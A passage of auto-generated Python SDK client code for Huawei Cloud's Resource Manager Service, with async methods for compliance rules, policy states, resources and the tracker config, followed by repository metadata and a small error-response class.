self.delete_policy_assignment_with_http_info(request) def delete_policy_assignment_with_http_info(self, request): """删除合规规则根据规则ID删除此规则 :param DeletePolicyAssignmentRequest request :return: DeletePolicyAssignmentResponse """ all_params = ['policy_assignment_id'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} if 'policy_assignment_id' in local_var_params: path_params['policy_assignment_id'] = local_var_params['policy_assignment_id'] query_params = [] header_params = {} form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/policy-assignments/{policy_assignment_id}', method='DELETE', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='DeletePolicyAssignmentResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def disable_policy_assignment_async(self, request): """停用合规规则根据规则ID停用此规则 :param DisablePolicyAssignmentRequest request :return: DisablePolicyAssignmentResponse """ return self.disable_policy_assignment_with_http_info(request) def disable_policy_assignment_with_http_info(self, request): """停用合规规则根据规则ID停用此规则 :param DisablePolicyAssignmentRequest request :return: DisablePolicyAssignmentResponse """ all_params = ['policy_assignment_id'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} if 'policy_assignment_id' in local_var_params: path_params['policy_assignment_id'] = local_var_params['policy_assignment_id'] query_params = [] header_params = {} form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/policy-assignments/{policy_assignment_id}/disable', method='POST', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='DisablePolicyAssignmentResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def enable_policy_assignment_async(self, request): """启用合规规则根据规则ID启用此规则 :param EnablePolicyAssignmentRequest request :return: EnablePolicyAssignmentResponse """ return self.enable_policy_assignment_with_http_info(request) def enable_policy_assignment_with_http_info(self, request): """启用合规规则根据规则ID启用此规则 :param EnablePolicyAssignmentRequest request :return: EnablePolicyAssignmentResponse """ all_params = ['policy_assignment_id'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} if 'policy_assignment_id' in local_var_params: path_params['policy_assignment_id'] = local_var_params['policy_assignment_id'] query_params = [] header_params = {} form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/policy-assignments/{policy_assignment_id}/enable', method='POST', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='EnablePolicyAssignmentResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def list_built_in_policy_definitions_async(self, request): """列出内置策略列出用户的内置策略 :param ListBuiltInPolicyDefinitionsRequest request :return: ListBuiltInPolicyDefinitionsResponse """ return self.list_built_in_policy_definitions_with_http_info(request) def list_built_in_policy_definitions_with_http_info(self, request): """列出内置策略列出用户的内置策略 :param ListBuiltInPolicyDefinitionsRequest request :return: ListBuiltInPolicyDefinitionsResponse """ all_params = ['x_language'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} query_params = [] header_params = {} if 'x_language' in local_var_params: header_params['X-Language'] = local_var_params['x_language'] form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/policy-definitions', method='GET', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='ListBuiltInPolicyDefinitionsResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def list_policy_assignments_async(self, request): """列出合规规则列出用户的合规规则 :param ListPolicyAssignmentsRequest request :return: ListPolicyAssignmentsResponse """ return self.list_policy_assignments_with_http_info(request) def list_policy_assignments_with_http_info(self, request): """列出合规规则列出用户的合规规则 :param ListPolicyAssignmentsRequest request :return: ListPolicyAssignmentsResponse """ all_params = [] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/policy-assignments', method='GET', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='ListPolicyAssignmentsResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def list_policy_states_by_assignment_id_async(self, request): """获取规则的合规结果根据规则ID查询所有的合规结果 :param ListPolicyStatesByAssignmentIdRequest request :return: ListPolicyStatesByAssignmentIdResponse """ return self.list_policy_states_by_assignment_id_with_http_info(request) def list_policy_states_by_assignment_id_with_http_info(self, request): """获取规则的合规结果根据规则ID查询所有的合规结果 :param ListPolicyStatesByAssignmentIdRequest request :return: ListPolicyStatesByAssignmentIdResponse """ all_params = ['policy_assignment_id', 'compliance_state', 'resource_id', 'resource_name', 'limit', 'marker'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} if 'policy_assignment_id' in local_var_params: path_params['policy_assignment_id'] = local_var_params['policy_assignment_id'] query_params = [] if 'compliance_state' in local_var_params: query_params.append(('compliance_state', local_var_params['compliance_state'])) if 'resource_id' in local_var_params: query_params.append(('resource_id', local_var_params['resource_id'])) if 'resource_name' in local_var_params: query_params.append(('resource_name', local_var_params['resource_name'])) if 'limit' in local_var_params: query_params.append(('limit', local_var_params['limit'])) if 'marker' in local_var_params: query_params.append(('marker', local_var_params['marker'])) header_params = {} form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/policy-assignments/{policy_assignment_id}/policy-states', method='GET', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='ListPolicyStatesByAssignmentIdResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def list_policy_states_by_domain_id_async(self, request): """获取用户的合规结果查询用户所有的合规结果 :param ListPolicyStatesByDomainIdRequest request :return: ListPolicyStatesByDomainIdResponse """ return self.list_policy_states_by_domain_id_with_http_info(request) def list_policy_states_by_domain_id_with_http_info(self, request): """获取用户的合规结果查询用户所有的合规结果 :param ListPolicyStatesByDomainIdRequest request :return: ListPolicyStatesByDomainIdResponse """ all_params = ['compliance_state', 'resource_id', 'resource_name', 'limit', 'marker'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} query_params = [] if 'compliance_state' in local_var_params: query_params.append(('compliance_state', local_var_params['compliance_state'])) if 'resource_id' in local_var_params: query_params.append(('resource_id', local_var_params['resource_id'])) if 'resource_name' in local_var_params: query_params.append(('resource_name', local_var_params['resource_name'])) if 'limit' in local_var_params: query_params.append(('limit', local_var_params['limit'])) if 'marker' in local_var_params: query_params.append(('marker', local_var_params['marker'])) header_params = {} form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/policy-states', method='GET', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='ListPolicyStatesByDomainIdResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def list_policy_states_by_resource_id_async(self, request): """获取资源的合规结果根据资源ID查询所有合规结果 :param ListPolicyStatesByResourceIdRequest request :return: ListPolicyStatesByResourceIdResponse """ return self.list_policy_states_by_resource_id_with_http_info(request) def list_policy_states_by_resource_id_with_http_info(self, request): """获取资源的合规结果根据资源ID查询所有合规结果 :param ListPolicyStatesByResourceIdRequest request :return: ListPolicyStatesByResourceIdResponse """ all_params = ['resource_id', 'compliance_state', 'limit', 'marker'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} if 'resource_id' in local_var_params: path_params['resource_id'] = local_var_params['resource_id'] query_params = [] if 'compliance_state' in local_var_params: query_params.append(('compliance_state', local_var_params['compliance_state'])) if 'limit' in local_var_params: query_params.append(('limit', local_var_params['limit'])) if 'marker' in local_var_params: query_params.append(('marker', local_var_params['marker'])) header_params = {} form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/resources/{resource_id}/policy-states', method='GET', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='ListPolicyStatesByResourceIdResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def run_evaluation_by_policy_assignment_id_async(self, request): """运行合规评估根据规则ID评估此规则 :param RunEvaluationByPolicyAssignmentIdRequest request :return: RunEvaluationByPolicyAssignmentIdResponse """ return self.run_evaluation_by_policy_assignment_id_with_http_info(request) def run_evaluation_by_policy_assignment_id_with_http_info(self, request): """运行合规评估根据规则ID评估此规则 :param RunEvaluationByPolicyAssignmentIdRequest request :return: RunEvaluationByPolicyAssignmentIdResponse """ all_params = ['policy_assignment_id'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} if 'policy_assignment_id' in local_var_params: path_params['policy_assignment_id'] = local_var_params['policy_assignment_id'] query_params = [] header_params = {} form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/policy-assignments/{policy_assignment_id}/policy-states/run-evaluation', method='POST', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='RunEvaluationByPolicyAssignmentIdResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def show_built_in_policy_definition_async(self, request): """查询单个内置策略根据策略ID查询单个内置策略 :param ShowBuiltInPolicyDefinitionRequest request :return: ShowBuiltInPolicyDefinitionResponse """ return self.show_built_in_policy_definition_with_http_info(request) def show_built_in_policy_definition_with_http_info(self, request): """查询单个内置策略根据策略ID查询单个内置策略 :param ShowBuiltInPolicyDefinitionRequest request :return: ShowBuiltInPolicyDefinitionResponse """ all_params = ['policy_definition_id', 'x_language'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} if 'policy_definition_id' in local_var_params: path_params['policy_definition_id'] = local_var_params['policy_definition_id'] query_params = [] header_params = {} if 'x_language' in local_var_params: header_params['X-Language'] = local_var_params['x_language'] form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/policy-definitions/{policy_definition_id}', method='GET', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='ShowBuiltInPolicyDefinitionResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def show_evaluation_state_by_assignment_id_async(self, request): """获取规则的评估状态根据规则ID查询此规则的评估状态 :param ShowEvaluationStateByAssignmentIdRequest request :return: ShowEvaluationStateByAssignmentIdResponse """ return self.show_evaluation_state_by_assignment_id_with_http_info(request) def show_evaluation_state_by_assignment_id_with_http_info(self, request): """获取规则的评估状态根据规则ID查询此规则的评估状态 :param ShowEvaluationStateByAssignmentIdRequest request :return: ShowEvaluationStateByAssignmentIdResponse """ all_params = ['policy_assignment_id'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} if 'policy_assignment_id' in local_var_params: path_params['policy_assignment_id'] = local_var_params['policy_assignment_id'] query_params = [] header_params = {} form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/policy-assignments/{policy_assignment_id}/policy-states/evaluation-state', method='GET', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='ShowEvaluationStateByAssignmentIdResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def show_policy_assignment_async(self, request): """获取单个合规规则根据规则ID获取单个规则 :param ShowPolicyAssignmentRequest request :return: ShowPolicyAssignmentResponse """ return self.show_policy_assignment_with_http_info(request) def show_policy_assignment_with_http_info(self, request): """获取单个合规规则根据规则ID获取单个规则 :param ShowPolicyAssignmentRequest request :return: ShowPolicyAssignmentResponse """ all_params = ['policy_assignment_id'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} if 'policy_assignment_id' in local_var_params: path_params['policy_assignment_id'] = local_var_params['policy_assignment_id'] query_params = [] header_params = {} form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/policy-assignments/{policy_assignment_id}', method='GET', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='ShowPolicyAssignmentResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def update_policy_assignment_async(self, request): """更新合规规则更新用户的合规规则 :param UpdatePolicyAssignmentRequest request :return: UpdatePolicyAssignmentResponse """ return self.update_policy_assignment_with_http_info(request) def update_policy_assignment_with_http_info(self, request): """更新合规规则更新用户的合规规则 :param UpdatePolicyAssignmentRequest request :return: UpdatePolicyAssignmentResponse """ all_params = ['policy_assignment_id', 'policy_assignment_request_body'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} if 'policy_assignment_id' in local_var_params: path_params['policy_assignment_id'] = local_var_params['policy_assignment_id'] query_params = [] header_params = {} form_params = {} body_params = None if 'body' in local_var_params: body_params = local_var_params['body'] if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/policy-assignments/{policy_assignment_id}', method='PUT', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='UpdatePolicyAssignmentResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def list_regions_async(self, request): """查询租户可见的区域查询租户可见的区域 :param ListRegionsRequest request :return: ListRegionsResponse """ return self.list_regions_with_http_info(request) def list_regions_with_http_info(self, request): """查询租户可见的区域查询租户可见的区域 :param ListRegionsRequest request :return: ListRegionsResponse """ all_params = ['x_language'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} query_params = [] header_params = {} if 'x_language' in local_var_params: header_params['X-Language'] = local_var_params['x_language'] form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/regions', method='GET', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='ListRegionsResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def show_resource_relations_async(self, request): """列举资源关系指定资源ID，查询该资源与其他资源的关联关系，可以指定关系方向为\"in\" 或者\"out\" :param ShowResourceRelationsRequest request :return: ShowResourceRelationsResponse """ return self.show_resource_relations_with_http_info(request) def show_resource_relations_with_http_info(self, request): """列举资源关系指定资源ID，查询该资源与其他资源的关联关系，可以指定关系方向为\"in\" 或者\"out\" :param ShowResourceRelationsRequest request :return: ShowResourceRelationsResponse """ all_params = ['resource_id', 'direction', 'limit', 'marker'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} if 'resource_id' in local_var_params: path_params['resource_id'] = local_var_params['resource_id'] query_params = [] if 'direction' in local_var_params: query_params.append(('direction', local_var_params['direction'])) if 'limit' in local_var_params: query_params.append(('limit', local_var_params['limit'])) if 'marker' in local_var_params: query_params.append(('marker', local_var_params['marker'])) header_params = {} form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/resources/{resource_id}/relations', method='GET', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='ShowResourceRelationsResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def list_all_resources_async(self, request): """列举所有资源返回当前租户下所有资源，需要当前用户有rms:resources:list权限。 :param ListAllResourcesRequest request :return: ListAllResourcesResponse """ return self.list_all_resources_with_http_info(request) def list_all_resources_with_http_info(self, request): """列举所有资源返回当前租户下所有资源，需要当前用户有rms:resources:list权限。 :param ListAllResourcesRequest request :return: ListAllResourcesResponse """ all_params = ['region_id', 'ep_id', 'type', 'limit', 'marker'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} query_params = [] if 'region_id' in local_var_params: query_params.append(('region_id', local_var_params['region_id'])) if 'ep_id' in local_var_params: query_params.append(('ep_id', local_var_params['ep_id'])) if 'type' in local_var_params: query_params.append(('type', local_var_params['type'])) if 'limit' in local_var_params: query_params.append(('limit', local_var_params['limit'])) if 'marker' in local_var_params: query_params.append(('marker', local_var_params['marker'])) header_params = {} form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/all-resources', method='GET', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='ListAllResourcesResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def list_providers_async(self, request): """列举云服务查询RMS支持的云服务、资源、区域列表 :param ListProvidersRequest request :return: ListProvidersResponse """ return self.list_providers_with_http_info(request) def list_providers_with_http_info(self, request): """列举云服务查询RMS支持的云服务、资源、区域列表 :param ListProvidersRequest request :return: ListProvidersResponse """ all_params = ['offset', 'limit', 'x_language'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} query_params = [] if 'offset' in local_var_params: query_params.append(('offset', local_var_params['offset'])) if 'limit' in local_var_params: query_params.append(('limit', local_var_params['limit'])) header_params = {} if 'x_language' in local_var_params: header_params['X-Language'] = local_var_params['x_language'] form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/providers', method='GET', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='ListProvidersResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def list_resources_async(self, request): """列举指定类型的资源返回当前租户下特定资源类型的资源，需要当前用户有rms:resources:list权限。比如查询云服务器，对应的RMS资源类型是ecs.cloudservers，其中provider为ecs，type为cloudservers。 RMS支持的服务和资源类型参见[支持的服务和区域](https://console.huaweicloud.com/eps/#/resources/supported)。 :param ListResourcesRequest request :return: ListResourcesResponse """ return self.list_resources_with_http_info(request) def list_resources_with_http_info(self, request): """列举指定类型的资源返回当前租户下特定资源类型的资源，需要当前用户有rms:resources:list权限。比如查询云服务器，对应的RMS资源类型是ecs.cloudservers，其中provider为ecs，type为cloudservers。 RMS支持的服务和资源类型参见[支持的服务和区域](https://console.huaweicloud.com/eps/#/resources/supported)。 :param ListResourcesRequest request :return: ListResourcesResponse """ all_params = ['provider', 'type', 'region_id', 'ep_id', 'limit', 'marker'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} if 'provider' in local_var_params: path_params['provider'] = local_var_params['provider'] if 'type' in local_var_params: path_params['type'] = local_var_params['type'] query_params = [] if 'region_id' in local_var_params: query_params.append(('region_id', local_var_params['region_id'])) if 'ep_id' in local_var_params: query_params.append(('ep_id', local_var_params['ep_id'])) if 'limit' in local_var_params: query_params.append(('limit', local_var_params['limit'])) if 'marker' in local_var_params: query_params.append(('marker', local_var_params['marker'])) header_params = {} form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/provider/{provider}/type/{type}/resources', method='GET', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='ListResourcesResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def show_resource_by_id_async(self, request): """查询单个资源指定资源ID，返回该资源的详细信息，需要当前用户有rms:resources:get权限。比如查询云服务器，对应的RMS资源类型是ecs.cloudservers，其中provider为ecs，type为cloudservers。RMS支持的服务和资源类型参见[支持的服务和区域](https://console.huaweicloud.com/eps/#/resources/supported)。 :param ShowResourceByIdRequest request :return: ShowResourceByIdResponse """ return self.show_resource_by_id_with_http_info(request) def show_resource_by_id_with_http_info(self, request): """查询单个资源指定资源ID，返回该资源的详细信息，需要当前用户有rms:resources:get权限。比如查询云服务器，对应的RMS资源类型是ecs.cloudservers，其中provider为ecs，type为cloudservers。RMS支持的服务和资源类型参见[支持的服务和区域](https://console.huaweicloud.com/eps/#/resources/supported)。 :param ShowResourceByIdRequest request :return: ShowResourceByIdResponse """ all_params = ['provider', 'type', 'resource_id'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} if 'provider' in local_var_params: path_params['provider'] = local_var_params['provider'] if 'type' in local_var_params: path_params['type'] = local_var_params['type'] if 'resource_id' in local_var_params: path_params['resource_id'] = local_var_params['resource_id'] query_params = [] header_params = {} form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/provider/{provider}/type/{type}/resources/{resource_id}', method='GET', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='ShowResourceByIdResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def create_tracker_config_async(self, request): """创建或更新记录器创建或更新资源记录器，只能存在一个资源记录器 :param CreateTrackerConfigRequest request :return: CreateTrackerConfigResponse """ return self.create_tracker_config_with_http_info(request) def create_tracker_config_with_http_info(self, request): """创建或更新记录器创建或更新资源记录器，只能存在一个资源记录器 :param CreateTrackerConfigRequest request :return: CreateTrackerConfigResponse """ all_params = ['tracker_config_body'] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = {} body_params = None if 'body' in local_var_params: body_params = local_var_params['body'] if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/tracker-config', method='PUT', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='CreateTrackerConfigResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def delete_tracker_config_async(self, request): """删除记录器删除资源记录器 :param DeleteTrackerConfigRequest request :return: DeleteTrackerConfigResponse """ return self.delete_tracker_config_with_http_info(request) def delete_tracker_config_with_http_info(self, request): """删除记录器删除资源记录器 :param DeleteTrackerConfigRequest request :return: DeleteTrackerConfigResponse """ all_params = [] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/tracker-config', method='DELETE', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='DeleteTrackerConfigResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def show_tracker_config_async(self, request): """查询记录器查询资源记录器的详细信息 :param ShowTrackerConfigRequest request :return: ShowTrackerConfigResponse """ return self.show_tracker_config_with_http_info(request) def show_tracker_config_with_http_info(self, request): """查询记录器查询资源记录器的详细信息 :param ShowTrackerConfigRequest request :return: ShowTrackerConfigResponse """ all_params = [] local_var_params = {} for attr in request.attribute_map: if hasattr(request, attr): local_var_params[attr] = getattr(request, attr) collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = {} body_params = None if isinstance(request, SdkStreamRequest): body_params = request.get_file_stream() response_headers = [] header_params['Content-Type'] = http_utils.select_header_content_type( ['application/json']) auth_settings = ['PkiTokenAuth'] return self.call_api( resource_path='/v1/resource-manager/domains/{domain_id}/tracker-config', method='GET', path_params=path_params, query_params=query_params, header_params=header_params, body=body_params, post_params=form_params, response_type='ShowTrackerConfigResponse', response_headers=response_headers, auth_settings=auth_settings, collection_formats=collection_formats, request_type=request.__class__.__name__) def call_api(self, resource_path, method, path_params=None, query_params=None, header_params=None, body=None, post_params=None, response_type=None, response_headers=None, auth_settings=None, collection_formats=None, request_type=None): """Makes the HTTP request and returns deserialized data. :param resource_path: Path to method endpoint. :param method: Method to call. :param path_params: Path parameters in the url. :param query_params: Query parameters in the url. :param header_params: Header parameters to be placed in the request header. :param body: Request body. :param post_params dict: Request post form parameters, for `application/x-www-form-urlencoded`, `multipart/form-data`. :param auth_settings list: Auth Settings names for the request. :param response_type: Response data type. :param response_headers: Header should be added to response data. :param collection_formats: dict of collection formats for path, query, header, and post parameters. :param request_type: Request data type. :return: Return the response directly. """ return self.do_http_request( method=method, resource_path=resource_path, path_params=path_params, query_params=query_params, header_params=header_params, body=body, post_params=post_params, response_type=response_type, response_headers=response_headers, collection_formats=collection_formats, request_type=request_type, async_request=True)

32.366206

209

0.643326

5,284

53,825

6.155942

0.057721

0.039351

0.068864

0.027546

0.889726

0.875707

0.862703

0.827656

0.819171

0.688207

0

0.000688

0.271212

53,825

1,662

210

32.38568

0.828536

0.13124

0

0.809874

0

0.003151

0.134063

0.056753

0

1

0.053571

false

0

0.010504

0

0.120798

0

null

0

1

0

1

0

null

0

7

f31a12a73cfaa3941aba54a9fe9b142eb0792dbb

185

py

Python

utilities/generic_exception.py

jlgoh/labeldat

057248a22c7f022110d712dbcb61befd40e62760

[ "MIT" ]

1

2021-09-07T06:34:54.000Z

utilities/generic_exception.py

wilsonteng97/labeldat

bdca5df0af55bdd460807808861de25d762b28da

[ "MIT" ]

5

2021-09-08T02:44:59.000Z

2022-02-27T10:55:29.000Z

utilities/generic_exception.py

wilsonteng97/labeldat

bdca5df0af55bdd460807808861de25d762b28da

[ "MIT" ]

1

2020-12-31T11:03:39.000Z

class GenericErrorResponse: def __init__(self, message): self.message = message def to_response(self): return { "message": self.message, }

